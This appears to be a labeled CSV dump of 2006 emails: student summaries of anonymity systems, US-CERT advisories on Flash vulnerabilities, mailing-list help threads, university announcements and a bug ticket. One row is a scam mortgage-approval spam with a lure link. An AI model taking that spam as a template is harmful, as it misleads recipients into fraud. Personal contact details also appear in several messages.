peer. Crowds has several problems. A lot of Crowds depends on the end user. When a join commit occurs, the jondo alerts the user to stop browsing the same website or they might be discovored: this seems like a downfall. All of the interesting things are also put into the Blender: node joins, commits, usernames and identifying information. While security might not be comprimised if the Blender goes down, a legal attack on the server will make Crowds non-functional since no-one new can join and once you drop out you are out for good. The Blender also gets rid of Sybil attacks and user-duplication problems. Lastly, performance on this system is pretty terrible: a 25k packet takes nearly 20 seconds to be routed through 5 people! P5 is another protocol that uses a heirarchical system of mixes. A mix is a group of peers that constantly send information back and forth to each other (making communication synchronous). If a message is 'real' then it is encrypted and looks just as random as the 'junk' messages that normally get sent between peers. The obvious down side to this is the high overhead of encryption and the massive amount of bandwidth overhead that is needed for synchronous communication...especially since most of the packets are likely to be garbage. P5 scales this system up by making it heirarhical. The mix that you join depends on how much communication you are willing to bear. The more you are willing to take on, the more anonymitty you are gauranteed. The nice thing about this system is that an all-knowing passive observer (that can't hack encryption) cannot get to the contents of the message, cannot know where the receiver or the senders are. At any point, if a node wants to decrease its communication throughput and decrease its security alongside it, they can do that (while climbing up is impossible). It seems that the massive amount of communication would still be a downside to this system. Both encryption and the synchronous communication make the system too hefty. HerbivoreFS is a file-sharing protocol that preservers user anonymity. It acheives this by inserting Dining Crypto Nets into a P2P system. In this way, an attackers that has infinite wire-tapping abilities can only find out which net the packet came from, not the exact peer. Therefore, if your net is large enough, legal attacks cannot be mounted on a specific person (and anonymity is preserved). The Dining Cryptographers paper introduces a concept of XORing public keys together. In this way, when a receiver gets the packet that is destined for her, she cannot determine exactly which sender actually sent it (since it is encrypted with all the keys along the path to her). The author goes on to show that using several methods, it is possible to deter a malicious or misbehaving node. The problem is that you need a concensus protocol or some sort of hefty higher level communication between nodes to get them to agree to some of the conditions the author outlines, making this system unrealistic. The second problem is the massive amount of encryption going on, slowing down the packet while it is being dragged along the path. ",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 16 Mar 2006 14:20:07 -0500","US-CERT Cyber Security Bulletin SB06-075 -- Summary of Security Items from March 9 through March 15, 2006 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from March 9 through March 15, 2006 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from March 9 through March 15, 2006, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRBmxBH0pj593lg50AQJ/YAgAymlloMJA7ih40U0TJB1JRH5UoClR5ovY meZINHoRSZaGx1YFa9UP3ECIabJntokRkQOJo4bJ5xRY8nx9QEGOXRJERyJVwKvH eV7dtvNRee3921Se9sd2U2gjxTeXfyfPpgDhcNaTcJKSE9koPKBYW4Q8O5eKYAgf asZ0B0h6saJnXnR6rNLaRlDpF8+WzuMaI1LE0uOUewD7/4A76vIV5vv/UrLH/IKB SlwDa1dCm7f7Doh/IwS/OW1dz2I1XRcSMVzVp1D9bsPnJwQmAFKpzMddiS6uqEUZ ZrqpaFa5efaYguOHJ7o/Hs61hFBzd2JeJDx4455Ueh1UAEFBFZ8bvg== =hnoI -----END PGP SIGNATURE-----",0,1 Abhishek Santosh Gupta ,egs+summary@cs.cornell.edu,"Thu, 16 Mar 2006 12:11:12 -0500",paper 15 - anonymity,"CROWDS crowd members are termed as jondos. when a jondo receives a request, it flips a biased coin to determine whether or not to forward this request to another jondo. each packet has a path identifier to enable jondos to take independent actions since it might occupy multiple positions on the path. a member of the crowd may submit requests initiated by others users. SECURITY ANALYSIS sender anonymity is not offered against a local eavesdropper. receiver anonymity is offered beyond suspicion. increasing the probability of forwarding a request increases the number of collaborating jondos that can be tolerated (since forwarding paths will be longer)however system performance decreases. even crowd members cannot identify the initiator of the request. crowd based systems can fail in case of malicious members which may drop packets or forward incorrect ones. HTML TIMING ATTACKS : when a jondo receives a HTML page as response, it might request for additional URLs from that page. The immediate nature of these requests opens opportunities for timing attacks by collaborating jondos. Timing attacks have been eliminated by the last jondo on the path requesting these URLs and sending them on the same path as the original request. Thus, the initiator waits for these URLs instead of explicitly issuing requests. P5 P5 allows users to trade-off the degree of anonymity for communication efficiency ( you can decrease the amount of anonymity but not increase it) packets are encrypted using the receiver's public key. every message is hop-by-hop encrypted (each node acts as a mix). a broadcast hierarchy is created to make the broadcast mechanism scalable. the hierarchy consists of a binary tree which is constructed using the public key of the users. each node of the tree contains a bitstring and a bitmask (b/m). the bitmask specifies as to how many of the msb of the bitstring are valid. a message sent on (b/m) is forwarded to: 1) all members in (b/m) group 2) all members of the group at nodes higher up ( which match some prefix of the bitstring b) 3) all members of the subtree below this node (nodes whose bitstring has prefix b) each user in the system can join a set of broadcast groups dependent upon the hash of the user's public key. the user can also select the bitmask value thus determining the specific group that he wants to join. noise: each user generates a fixed amount of traffic at all times to prevent local eavesdropping. message dropping algorithms must be used to control queue sizes (which increase easily due to broadcast mechanism) ANONYMITY ANALYSIS : sender and receiver anonymity depend upon group sizes. ATTACKS : Correlation attacks will be avoided due to noise packets. Difference and Intersection attacks map the user to a smaller subset of the group based upon the knowledge of his presence in more than 1 group. HERBIVORE FS: based on DC-nets DC nets have the following properties 1) only 1 sender can send at a time 2) requires a mediator 3) even if 1 member in the clique is malicious the scheme fails beyond repair herbivore FS takes care of 1) and 2) 1) to prevent multiple messages from being garbled - a concept of transmission slots and reservation protocols exist 2) the mediator is replaced by a broadcast ( or another center node which acts a mediator for each round) 3) the paper talks about a strike table mechanism to remove malicious node. However, a malicious node could still target a smaller set of users without being striked out. each node is forced to choose a random ID to prevent targeting a particular user. multiple instances of the protocol with different mediators help in achieving higher throughputs. INSERTION ATTACKS : each node reserves space for two sets of files A and B - A for the files that it introduced and B for the files introduced by the clique. files placed on the A-list are transferred to the B-list after response to the first query. the B-list is managed as a LRU cache. This caching mechanism hides the identity of the node as the node does not insert a file into the network more than once(each member of the clique then has a copy of it in the B-list) dropping of files seems to be a valid tradeoff of availability against security. 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Solution Apply Updates Adobe has provided the updates for these vulnerabilities. To obtain the update, visit the Security Bulletin. US-CERT recommends that you update to the most current version of your Macromedia product. Description Some features of Macromedia products contain critical vulnerabilities. If an attacker can convince you to open a malicious Flash file, which may be hosted on a web site, he or she may be able to take control of your computer or cause it to crash. The Macromedia Security Bulletin provides updates that address these vulnerabilities. For more technical information, see US-CERT Technical Cyber Security Alert TA06-075A. References * US-CERT Technical Cyber Security Alert TA06-075A.html - * US-CERT Vulnerability Note VU#945060 - * Macromedia - APSB06-03: Flash Player Update to Address Security Vulnerabilities - * Microsoft Security Advisory (916208) - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""SA06-075A Feedback VU#945060"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. 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",1,0 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Thu, 16 Mar 2006 18:13:57 -0500",US-CERT Technical Cyber Security Alert TA06-075A -- Adobe Macromedia Flash Products Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-075A Adobe Macromedia Flash Products Contain Vulnerabilities Original release date: March 16, 2006 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows, Apple Mac OS X, Linux, Solaris, or other operating systems with any of the following Adobe Macromedia products installed: * Flash Player 8.0.22.0 and earlier * Flash Professional 8 * Flash Basic * Flash MX 2004 * Flash Debug Player 7.0.14.0 and earlier * Flex 1.5 * Breeze Meeting Add-In 5.1 and earlier * Adobe Macromedia Shockwave Player 10.1.0.11 and earlier For more complete information, refer to Adobe Security Bulletin APSB06-03. Overview There are critical vulnerabilities in Macromedia Flash player and related software. Exploitation of these vulnerabilities could allow a remote, unauthenticated attacker to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description Adobe Security Bulletin APSB06-03 addresses vulnerabilities in Macromedia Flash Player and related software. Further information is available in the following US-CERT Vulnerability Note: VU#945060 - Adobe Macromedia Flash products contain multiple vulnerabilities Several vulnerabilities in Adobe Macromedia Flash products may allow a remote attacker to execute arbitrary code on a vulnerable system. (CVE-2006-0024) Several operating systems, including Microsoft Windows (see Microsoft Security Advisory 916208), have vulnerable versions of Flash installed by default. Systems with Flash-enabled web browsers are vulnerable. An attacker could host a specially crafted Flash file on a web site and convince a user to visit the site. II. Impact A remote, unauthenticated attacker could execute arbitrary code with the privileges of the user. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. An attacker may also be able to cause a denial of service. III. Solution Apply Updates Adobe has provided the updates for these vulnerabilities in APBS06-03. Disable Flash Please see Microsoft Security Advisory 916208 for instructions on how to disable Flash on Microsoft Windows. For other operating systems and web browsers, please contact the appropriate vendor. Appendix A. References * Macromedia - APSB06-03: Flash Player Update to Address Security Vulnerabilities - * US-CERT Vulnerability Note VU#945060 - * CVE-2006-0024 - * Microsoft Security Advisory (916208) - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-075A Feedback VU#945060"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Mar 16, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRBnrc30pj593lg50AQJh0Af/WnwWF6RIXfF6zpDCXMzkEjdaiWUSDa+g utKrN8ZwUqKsPVw/uKR9vLwqWrWRYbTAsVjnFd1TBiBcasxAPIM4Y0u8sYCnXldB NmpotYhMPiuIIh7t/2bGxaAwOB8yBZvN4GNGDarsiK243/nf0m8Y7e6t+XN5FY6V nDp+q8mxiPN0T7Bh+ofeEX7m7SOEAza7kBwzsGgRSZzIkVmwH1+pBjPznmM1Zylh UzpTPhmvKkQtuDJ3iG3P0J6hrNZqTukEcOh5VB9gRhfvzpavSa6sXoiI7+/zTADa IJ8ZZZ6crFYmP/DTPeA9nbeCtQg/HAu+ty6ME/leVsHah3a16NWm4w== =XJw+ -----END PGP SIGNATURE-----",0,1 ,,,Re: [Cmaptools] Re: video tutorials for Cmaptools,"Thank you very much Rodrigo Jean-Yves ----- Original Message ----- From: ""Rodrigo Carvajal"" To: ""CmapTools Discussion List"" Sent: Thursday, March 16, 2006 10:57 PM Subject: [Cmaptools] Re: video tutorials for Cmaptools To unsubscribe, E-mail to: ----------------------------------- Hello Jean-Yves, We at IHMC use Camtasia (http://www.techsmith.com/camtasia.asp). We had also used ScreenCorder (http://www.matchware.net/en/products/screencorder/). Regards, Rodrigo Carvajal On Wed, 15 Mar 2006 10:12:45 -0600 ""Jean-Yves"" wrote: > Hello Alberto & Alfredo ! > > Since you both published some videos about CmapTools, I've been looking > for ""screencasting"" software and I found about a dozen of them. > Alfredo you told me you are using Macromedia Captivate. Which screencast > are you using Alberto ? > > Thank's a lot > > Jean-Yves Phnom Penh > ----- Original Message ----- > From: Alfredo Tifi To: CmapTools Discussion List Sent: Thursday, March > 09, 2006 6:20 AM > Subject: [Cmaptools] Re: video tutorials for Cmaptools > > > Dear Yves > First of all thanks for your suggestions! The problem is that in our > staff we are all english ""suffering"" :-( However we'll add some hints. > swf files doesn't need macromedia software. You can run them as... > ""Explorer"" or with other html browsers as Mozilla. These swf files can be > automatically started (without right click and run as... program) if you > have a Flash reader. This could be qickly downloaded from our web too > (although we ought unsert a link...) > I don't know about widespreaded images capturing software. I'm not sure > them exists. We use macromedia's Captivate. The problem is however that > having source file you couldn't translate the concept maps scripts, > because they are embedded as images: you have to start from the beginning. > Perhaps we shoud evaluate a closer solution in cmaptools ""recorder"" tool, > at least for videos about concept map adjusting and editing-improving (you > can record as the c-map evolves, not but the commands you use to do this > changes). Unfortunately this would require to edit previous steps recorded > in the cmap, and this is not possible in v 4.02. > Nice to have this stimulating talk with you! > Regards, > > alfredo > > > > > 2006/3/8, Jean-Yves : Dear Alfredo > > Thank's a lot, I got it. (though I should have found the right click > way by myself, maybe should you add this good advice on your web page ?) > I will for shure keep more than just one eye your site ! > I already downloaded the Alberto's videos too. > As far as I understood, your videos are readable by using Macromedia > (with script comments), Alberto's videos by using QuickTime (with audio > comments). > > I guess you're thinking in the future to make them run with common > software. > Are you thinking about using a software that will allows some other > users to edit the videos files in order to translate at least the comments > (script and/or audio) in other langages ? > Congratulations anyways ! > > Jean-Yves Phnom Penh > ----- Original Message ----- > From: Alfredo Tifi To: CmapTools Discussion List Sent: Wednesday, > March 08, 2006 1:32 AM > Subject: [Cmaptools] Re: video tutorials for Cmaptools > > Dear Jean Yves > You can freely download them by right clicking and chosing ""save > object as..."", and you can collect .swf files in a CD or any other > removable support to distribute. > We hope to find time to complete the series! Keep an eye on these > videos on www.2wmaps.com and don't forget IHMC audio-video on > ftp://ftp.coginst.uwf.edu/acanas/ ! > Wish to you and cambodians a great Concept Mapping > > Alf > > 2006/3/7, Jean-Yves : Hello Alfredo > I've seen your tutorial video clips about CmapTools. Great ! I'm > now teaching CmapTools in Cambodia and those clips would be helpful. > Unfortunatly the internet connections are very poor and very > expansive for Cambodians. Is there anyway to download your video clips ? > Thank you very much > Jean-Yves FUSIL, Phnom Penh > ----- Original Message ----- > From: Alfredo Tifi To: CmapTools Discussion List Sent: Thursday, > March 02, 2006 10:59 AM > Subject: [Cmaptools] Re: video tutorials for Cmaptools > > Hi Rodney, Epifanio, everyone > in WWMAPS support pages > http://www.2wmaps.com/public/base_cmaptools.htm#Videoclisp_eng > we are publishing a similar collection of videos (six of ten > ready by now) > These are only the basics to asynchronous collaboration with > CmapTools, because the synchronous one is still uncommon in our > collaboration project. > These videos are made with ""captivate"" in italian, spanish and > english, but they have no audio. > A member of our community from Lima was interested to collaborate > among his and other students of medicine from other countries, sharing > concept maps. I could try to re-contact him if you are interested, or help > you to find other potential partners for such collaboration. > regards > > Alfredo > > 2006/2/28, rodney tamblyn : To unsubscribe, > E-mail to: < Cmaptools-off@ihmc.us> > ----------------------------------- > Hi everyone, > > I am thinking of making some screen video tutorials for > Cmaptools to > assist graduate medical students getting started with mapping. > I'd like to cover the basics of concept mapping, sharing maps through > places, and some advanced topics like collaborating on maps. > > I would be interested in suggestions from the group as to the > areas > that should be covered. Comments from educators with > experience in teaching concept mapping would be greatly appreciated. The > videos will have audio, so the text that accompanies the tutorials will > provide an opportunity not only to highlight how to use the > software > features, but provide some basic starting points for building > effective maps. > I have some experience using Camtasia studio for making maps > (on PC) > and SnapZ Pro (OSX), and I think these approaches will prove an > effective way for creating the tutorials. You can see some > examples under video tutorials at > http://oceanbrowser.com/support/index.html > > One approach might be to make a tutorial video map, where each > concept has an attached audio or video commentary. > Ideas, suggestions or comments from the group would be > appreciated. > > If anyone would be interested in collaborating on this, email > me off > list. > > Regards, > > Rodney > -- > Rodney Tamblyn > OceanBrowser Ltd 44 Melville Street, Dunedin 9001 > New Zealand > Freevoip: 6838608 > Tel: +64-3-4778606 > http://oceanbrowser.com > > > > > ############################################################# > This message is sent to you because you are subscribed to the mailing list > < Cmaptools@ihmc.us>. > To unsubscribe, E-mail to: > To switch to the DIGEST mode, E-mail to < > Cmaptools-digest@ihmc.us> > Send administrative queries to < Cmaptools-request@ihmc.us > > > > > > -- > Alfredo Tifi > Via Ancona, 64 > 62100 - Macerata > Italy > 338 6324518 > +39 0733 239354 > c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" San > Severino Marche - 62027 Italy > www.2wmaps.com > > > -- > Alfredo Tifi > Via Ancona, 64 > 62100 - Macerata > Italy > 338 6324518 > +39 0733 239354 > c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" > San Severino Marche - 62027 Italy > www.divini.net/alfredo > > > -- > Alfredo Tifi > Via Ancona, 64 > 62100 - Macerata > Italy > 338 6324518 > +39 0733 239354 > c/o Istituto Tecnico Industriale Statale ""Eustachio Divini"" San Severino > Marche - 62027 Italy > www.divini.net/alfredo Rodrigo Carvajal Research Associate Florida Institute for Human & Machine Cognition www.ihmc.us ############################################################# This message is sent to you because you are subscribed to the mailing list . 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This offer should be most attractive to those of you who have not yet presented at all: Hari Angepat Katie Coons Tom Hartin Paul Navratil Hany Ramadan Prakash Ramrakhyani Kevin Resnick The two topics are: 1) Overview of communication programming models and their challenges 2) Active messages: A Mechanism for Integrated Communication and Computation More details are available on the class web site. I am also accepting volunteers for presentations for the remainder of the semester. Please remember that everyone (even CR/NC students) must present at least once during the semester. Several of you will have to present twice. If I don't get enough volunteers, I will randomly pick, after excluding the CR/NC students and a few students who did particularly hard presentations on their first round. Note: the M-Machine paper (#2 on March 30th) is already spoken for. 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Thanks, Amy",0,0 Yvonne Aburrow ,aut-discussion@bath.ac.uk,"Fri, 17 Mar 2006 13:56:50 +0000",Campaign update 17 March (fwd),"A bit of light reading... ------------ Forwarded Message ------------ Date: 17 March 2006 13:22 +0000 From: Justine Stephens To: Info Cc: Matt Waddup , Justine Stephens Subject: Campaign update 17 March Dear Colleagues, Action short of a strike begins to bite across the sectors -- thousands already reported to be affected: Evidence is growing that the action short of a strike is beginning to bite hard. According to an online survey, each member taking the action is currently affecting an average of more than 100 students and this is well before the exam period starts in earnest. Reports continue to flood in via the online Action Form, revealing that AUT members are taking action across the whole sector and this action is having a real, tangible effect on the Universities' ability to function. Wherever members have reported back in large numbers, we can see that the impact is absolutely huge. Every indication is that right across the sector our members are determined to show Vice Chancellors that they will no longer be neglected. The message is, KEEP THE REPORTS COMING IN! Every report we get shows us how effective the action is, prevents the employers from spreading misinformation and boosts the confidence of all our members. Go here now to submit your form: http://www.aut.org.uk/index.cfm?articleid48 Employers claim 'serious' offer will be delivered on March 28: Many of you will have seen the report in the THES (March 10) which stated that 'University employers are set to place a ""serious"" pay offer on the negotiating table later this month in a bid to end industrial action by academics..'. If the employers body already know what they are going to offer, why don't they meet us today? We have been requesting unconditional talks since October. To make it clear, the AUT will be the judge of whether the offer is ""serious"", and we do not see why members and students have to wait another two weeks to find out. We will not call off or suspend our action until we have an offer which meets our aspirations for you. Bully boy tactics won't work, Sally Hunt tells employers: Local news on local action keeps coming into the press office by email, fax and through the post. Please do keep it coming in to Dan in the press office. If your local paper's not covering what's going on then do give Dan a shout in the office for local contact details or any advice - dan.ashley@aut.org.uk In the news this week Sally Hunt tells the THES that universities who might be considering docking staff pay should think again and AUT staff at Sussex step up their protests against the closure of the chemistry department. Read all about that and more: http://www.aut.org.uk/index.cfm?articleid71 NUS launches 'End it Today' campaign: NUS have launched a campaign aimed at mounting significant pressure on individual employers. They are encouraging students at all affiliated institutions to submit un-marked essays to their Vice-Chancellors and to lodge formal complaints via their intuitions complaints procedure. The threat of individual students or their parents suing universities looks set to become a reality with AUT and NUS receiving a number of queries as to how to proceed with this course of action. All such queries should be directed immediately to the National Union of Students. It really is crucial that we maintain and build dialogue with students. Clearly whilst we continue to do this via the national structures, nothing is more effective than a member talking directly with their students. We have developed a model letter for individuals to pass on to students regarding the campaign. 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The major areas of interest were the guidelines for ASOS: http://www.aut.org.uk/index.cfm?articleid23 , the FAQ's on ASOS: http://www.aut.org.uk/index.cfm?articleid56 the online ASOS reporting form: http://www.aut.org.uk/index.cfm?articleid48 and finally, the report on the VC's pay rise continues to be a firm favourite! Sussex slammed for plan to cull Chemistry: Sussex university announced this week that it would be closing its Chemistry department as part of a plan that will also see 45 jobs go in Continuing Education and other departments, apparently to address its financial problems and make way for 'research stars'. This news was greeted with outrage among the staff and students at Sussex and has been widely condemned. Nobel Laureate and Chemist Sir Harry Kroto is considering returning his honorary degree from the university, while the Royal Society of Chemists dismissed the plan as motivated by 'short-term financial considerations', for which they saw no justification. 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Bill On Fri, 17 Mar 2006 billmark@cs.utexas.edu wrote: > Hi class, > > I have finally put all of the readings online for the rest of the semester. > So now we need to work to get presenters matched up > with the readings. > > Most urgently, we need someone to present this Thursday, March 23. > > To sweeten the deal for this somewhat-short-notice situation, I'll > guarantee that the two people who present this Thursday do not > have to present again for the rest of the semester. > > This offer should be most attractive to those of you who have > not yet presented at all: > Hari Angepat > Katie Coons > Tom Hartin > Paul Navratil > Hany Ramadan > Prakash Ramrakhyani > Kevin Resnick > > The two topics are: > > 1) Overview of communication programming models and their challenges > > 2) Active messages: A Mechanism for Integrated Communication and > Computation > > More details are available on the class web site. > > I am also accepting volunteers for presentations for the remainder of > the semester. Please remember that everyone (even CR/NC students) > must present at least once during the semester. Several of you > will have to present twice. If I don't get enough volunteers, I > will randomly pick, after excluding the CR/NC students and a few > students who did particularly hard presentations on their first > round. > > Note: the M-Machine paper (#2 on March 30th) is already spoken for. > > Bill > > ",0,0 """Jordan D. Pagan"" ",Cmaptools@ihmc.us,"Fri, 17 Mar 2006 13:15:05 -0600",RERE:WE approved yours loan hja,"Dear Homeowner, http://getmort.com You have been approved for a $ 658,846 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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Ruby on Rails, a web development platform built in and for Ruby, will also be briefly discussed. http://www.cs.olemiss.edu/csss/ ",0,1 caro ,DMDX@psy1.psych.arizona.edu,"Mon, 20 Mar 2006 12:33:39 -0600",[DMDX] analyze 0 non-instruction item numbers,"Hello, I notice that when trying to analyze the data, the following message is quite common: Parsing item file ... Item file has 0 non-instruction item numbers Nonetheless the answers I have read have not yet helped me. I do not understand the following clue: ""Parsing item file ..."". ANALYZE requires the item file and item files are RTF files. What it is I am suppose to do? Any further help or comments would be greatly appreciated. Thank you Caroline Universidad de las Americas, Puebla carolinea.payant@udlap.mx ",0,0 Christin Ronolder ,VRA_NE@WHEATONMA.EDU,"Mon, 20 Mar 2006 12:01:58 -0500",Message from Barbara Steinberg," Congrats to Megan and Marci. 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I am builiding tests with an animated character presenting non word repetition and rapid automatic naming tasks and I would like to record the oral response in a wav file (but not the RT so I used RecordVocal on its own) and the following mouse response in the azk file. I managed to do all that with DMDX (thank you) but I cannot record responses longer than 30-40 s into .wav file (at DMDX writes ""malloc of record buffer failed ...""). I guess this means that I am asking too much but in case I wanted to ask if there is a special parameter to specify in order to record 1 or even 2 minutes long files or is 40-ish the max? The best would be a kind of parameter for recording - but I think it is impossible. Please find a piece of my script below that works fine :) N2 f38 0 ""instruction1"" ; 0 ""middle click when ready""; 250 ; +1 “+” / ""1-qoop""/ *""?""; 250 ; 0 ""Time"" ; 0 ""instruction2"" ; +2 “+” / ""2-mar""/ *""?""; 250 ; 0 “smiley3”, ""Thank You."" / ""applause""; Would be gratefull for any tips Best Souhila Souhila MESSAOUD-GALUSI Post Doc UCL (University College London) Department of Phonetics and Linguistics Wolfson House 4 Stephenson Way London NW12HE",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 20 Mar 2006 14:54:52 -0700",[DMDX] Re: record long output sounds,"There shouldn't be any particular limit. You could try putting more memory in your machine (RAM, not hard disk) I guess but 49 seconds is only a two megabyte buffer and that's shouldn't be anything amazing. It's possible that your sound drivers are freaking at being told to create a two megabyte buffer I guess. At 07:46 PM 3/20/2006 +0000, you wrote: >Dear all, > >I am using DMDX to run experiments with children and the forum and the >online tips have been of a great help to build the scripts. >I am builiding tests with an animated character presenting non word >repetition and rapid automatic naming tasks and I would like to record the >oral response in a wav file (but not the RT so I used RecordVocal on its >own) and the following mouse response in the azk file. >I managed to do all that with DMDX (thank you) but I cannot record responses >longer than 30-40 s into .wav file (at DMDX writes ""malloc of >record buffer failed ...""). I guess this means that I am asking too much but >in case I wanted to ask if there is a special parameter to specify in order >to record 1 or even 2 minutes long files or is 40-ish the max? The best >would be a kind of parameter for recording - but I think it is >impossible. > >Please find a piece of my script below that works fine :) > >N2 f38 255000255> >0 ""instruction1"" ; >0 ""middle click when ready""; >250 ; >+1 ""+"" / ""1-qoop""/ *""?""; >250 ; >0 ""Time"" ; >0 ""instruction2"" ; >+2 ""+"" / ""2-mar""/ *""?""; >250 ; >0 ""smiley3"", ""Thank You."" / 2> ""applause""; > >Would be gratefull for any tips > >Best >Souhila > >Souhila MESSAOUD-GALUSI >Post Doc >UCL (University College London) >Department of Phonetics and Linguistics >Wolfson House >4 Stephenson Way >London NW12HE > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Only adults have difficulty with child-proof bottles.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 20 Mar 2006 14:57:06 -0700",[DMDX] Re: analyze 0 non-instruction item numbers,"At 12:33 PM 3/20/2006 -0600, you wrote: >Hello, > >I notice that when trying to analyze the data, the following message is >quite common: >Parsing item file ... >Item file has 0 non-instruction item numbers It means Analyze didn't find any items that gather responses. > >Nonetheless the answers I have read have not yet helped me. > >I do not understand the following clue: > >""Parsing item file ..."". ANALYZE requires the item file >and item files are RTF files. You have to browse Analyze to the item file that DMDX uses. > >What it is I am suppose to do? Any further help or comments would be >greatly appreciated. > >Thank you > >Caroline >Universidad de las Americas, Puebla >carolinea.payant@udlap.mx /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Only adults have difficulty with child-proof bottles.",0,0 Bill Mark ,cs395t-mark@cs.utexas.edu,"Mon, 20 Mar 2006 16:49:06 -0600",[FGP] project ideas,"Hi seminar, By popular request, I've put up a web page with some possible ideas for final projects, as well as a general discussion of some of the kinds of final projects. This is not meant to be an exclusive list, just a starting point to get you thinking. Here it is: http://www-csl.csres.utexas.edu/~billmark/teach/cs395t-06-spring/project/index.html Beware that any project requiring modifications to a CMP simulator is likely to be quite a bit of work, unless you are already familiar with one. I do understand this; and it is quite possible to do a good project without making changes to an architecture simulator. Bill ",0,1 ARL Communications ,,,"On the ARL Server (March 20, 2006)","On the ARL Server Week of March 20, 2006 ARL, ALA, CLIR, and NHA Support Library of Congress FY 2007 Budget Request E-News for ARL Directors: Part One, January–February 2006 The Scholarly Publishing and Academic Resources Coalition: An Evolving Agenda, published in C&RL News, February 2006 Trisha Davis and Diane Grover Appointed ARL Visiting Program Officers to Extend ARL/DLF Partnership by Developing License-Mapping Training ARL Membership Meeting, May 16–19 in Ottawa Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 Library Assessment Conference Call for Papers—Due April 15 Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 Job Posting: Technical Applications Development Manager for LibQUAL+™ and Statistics and Assessment Activities [PDF] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 """Indulge Q. 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""BE KIND"" ",0,0 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Tue, 21 Mar 2006 12:51:52 -0500",Scheduled Maintenance (MAGPI) - Internet2 Connectivity,"ID: 1312 Description: Scheduled Maintenance (MAGPI) - Internet2 Connectivity Disruption: Outage Campus: Core Systems & Services Start Date: 03/23/2006 0500 End Date: 03/23/2006 0700 Summary: As a result of the MAGPI maintenance, no Internet2 connectivity will be available to Rutgers University. MAGPI does not expect the outage last for entire window. Affected: Rutgers University, Seton Hall, Stevens Institute, and NJEdge. Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 George Kamberov ,bugs,"Tue, 21 Mar 2006 10:39:38 -0500",dead machine,">Number: 2300 >Category: hardware >Synopsis: dead machine >Confidential: no >Severity: critical >Priority: high >Responsible: moriarty >State: closed >Class: support >Submitter-Id: stevens >Arrival-Date: Tue Mar 21 10:40:03 -0500 2006 >Closed-Date: Mon May 01 14:15:46 -0400 2006 >Last-Modified: Mon May 01 14:15:46 -0400 2006 >Originator: George Kamberov >Release: N/A >Organization: stevens >Environment: >Description: Hostname of the machine this problem occurs on: Dual core, SLi desktop Detailed description of problem: fails to boot Mike already took the desktop to your office. It seems to be another dead mobo. Hopefully still under warranty so we can RMA. >How-To-Repeat: The following steps recreate the problem: >Fix: >Release-Note: >Audit-Trail: State-Changed-From-To: open->analyzed State-Changed-By: mforde State-Changed-When: Mon, 27 Mar 2006 12:42:34 -0500 State-Changed-Why: Motherboard is confirmed to be non-functional. The RMA process will begin. From: Brian Moriarty To: bugs Cc: Subject: Re: hardware/2300 Date: Tue, 28 Mar 2006 13:30:30 -0500 --lCAWRPmW1mITcIfM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline RMA request has been sent to Asus. --lCAWRPmW1mITcIfM Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP 